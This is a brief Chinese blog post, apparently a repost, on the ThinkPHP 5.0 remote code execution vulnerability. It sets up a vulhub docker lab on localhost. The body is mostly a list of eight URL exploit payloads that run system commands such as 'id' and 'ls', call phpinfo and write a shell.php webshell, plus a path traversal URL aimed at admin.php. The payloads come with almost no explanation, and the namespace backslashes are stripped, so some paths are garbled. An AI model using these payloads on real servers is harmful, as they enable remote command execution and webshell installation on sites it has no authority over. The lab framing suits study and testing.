• thinkphp 5.0 代码执行漏洞


    https://github.com/vulhub/vulhub/blob/master/thinkphp/5-rce

    docker-compose -f /home/root/compose.yml up

    然后访问127.0.0.1:8080

    POC:

    1、?s=index/ hinkRequest/input&filter=phpinfo&data=1

    2、?s=index/ hinkRequest/input&filter=system&data=id

    3、?s=index/ hink emplatedriverfile/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

    4、?s=index/ hinkviewdriverPhp/display&content=%3C?php%20phpinfo();?%3E

    5、?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    6、?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    7、?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    8、?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    看那个好用用哪个,我是直接用第六个:

    http://127.0.0.1:8080/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

    admin.php?c=../../../../../home/wwwroot/server/phpinfo&a=detailMake

  • 相关阅读:
    haslayout详解
    linux定时任务-cron
    linux安装SVN
    linux java配置
    KVM virsh常用命令篇
    KVM创建虚拟机
    KVM和远程管理工具virt-manager
    mysql 基础命令
    json在线工具
    mvn简单命令
  • 原文地址:https://www.cnblogs.com/nul1/p/10104368.html
Copyright © 2020-2023  润新知